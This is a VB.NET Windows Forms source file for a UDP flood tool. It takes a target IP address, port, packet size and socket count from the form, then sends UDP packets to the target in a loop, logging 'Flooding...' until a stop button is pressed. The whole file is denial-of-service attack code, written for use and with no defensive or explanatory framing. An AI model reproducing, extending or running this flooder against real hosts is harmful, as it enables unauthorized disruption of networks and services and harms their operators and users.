Imports System.Net, System.Net.Sockets, System.ComponentModel
Public Class Form1
    Public Enum Status
        Attacking = 1
        Stopped = 2
    End Enum
    Friend WithEvents bgFlood As New BackgroundWorker
    Dim IsFlooding As Boolean = False
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        bgFlood.WorkerReportsProgress = True
    End Sub
    Private Sub Flood(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles bgFlood.DoWork
        Dim Ip As IPAddress = IPAddress.Parse(Host.Text)
        Dim Ipandport As New IPEndPoint(Ip, Convert.ToInt32(Port.Text))
        Dim Packet As Byte() = New Byte(PacketSize.text) {}
        Dim SockNum As Integer = Sockets.Text
        Do While IsFlooding = True
            For i = 0 To SockNum
                If IsFlooding = True Then
                    Dim _sock(i) As Socket
                    _sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                    Try
                        _sock(i).SendTo(Packet, Ipandport)
                        bgFlood.ReportProgress(Status.Attacking)
                        Threading.Thread.Sleep(500)
                    Catch ex As Exception
                        Threading.Thread.Sleep(500)
                    End Try
                Else
                    Exit Do
                End If

            Next
        Loop
        bgFlood.ReportProgress(Status.Stopped)

    End Sub
    Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgFlood.ProgressChanged
        Select Case e.ProgressPercentage
            Case Status.Attacking
                ListBox1.Items.Add("Flooding... -" & Date.Now.ToLocalTime)
                ListBox1.SelectedIndex = ListBox1.Items.Count - 1
            Case Status.Stopped
                ListBox1.Items.Add("Stopped... -" & Date.Now.ToLocalTime)
                ListBox1.SelectedIndex = ListBox1.Items.Count - 1
        End Select
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        IsFlooding = True
        If Not bgFlood.IsBusy Then
            bgFlood.RunWorkerAsync()
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        IsFlooding = False
    End Sub
End Class